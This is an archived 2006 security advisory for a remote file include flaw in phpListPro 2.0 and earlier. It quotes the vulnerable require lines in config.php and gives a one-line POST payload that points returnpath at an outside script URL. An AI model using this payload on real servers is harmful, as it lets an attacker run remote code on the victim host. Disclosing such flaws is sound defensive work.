Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Web :: PHP :: b06-1540.htm

phpListPro <= 2.0 - Remote File Include Vulnerability



phpListPro <= 2.0 - Remote File Include Vulnerability
phpListPro <= 2.0 - Remote File Include Vulnerability



phpListPro <= 2.0 - Remote File Include Vulnerability 
--------------------------------------------------------
Software: phpListPro 
Version: <=2.00
Type: Remote File Include Vulnerability
Date: April, 11th 2006
Vendor: SmartISoft
Page: http://smartisoft.com 
Risc: High


Credits:
----------------------------
'Aesthetico'
http://www.majorsecurity.de 


Description:
----------------------------
PHP/mySQL rating TopList professional.


Vulnerability:
----------------------------
The config.php is vulnerable at following lines:

142: require ($returnpath."lang_".$default_language.".php");
143: require ($returnpath."library.php");


Solution:
----------------------------
There isn't a solution yet.


Exploitation:
----------------------------
Post data:
returnpath=http://www.yourspace.com/yourscript.php? 


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH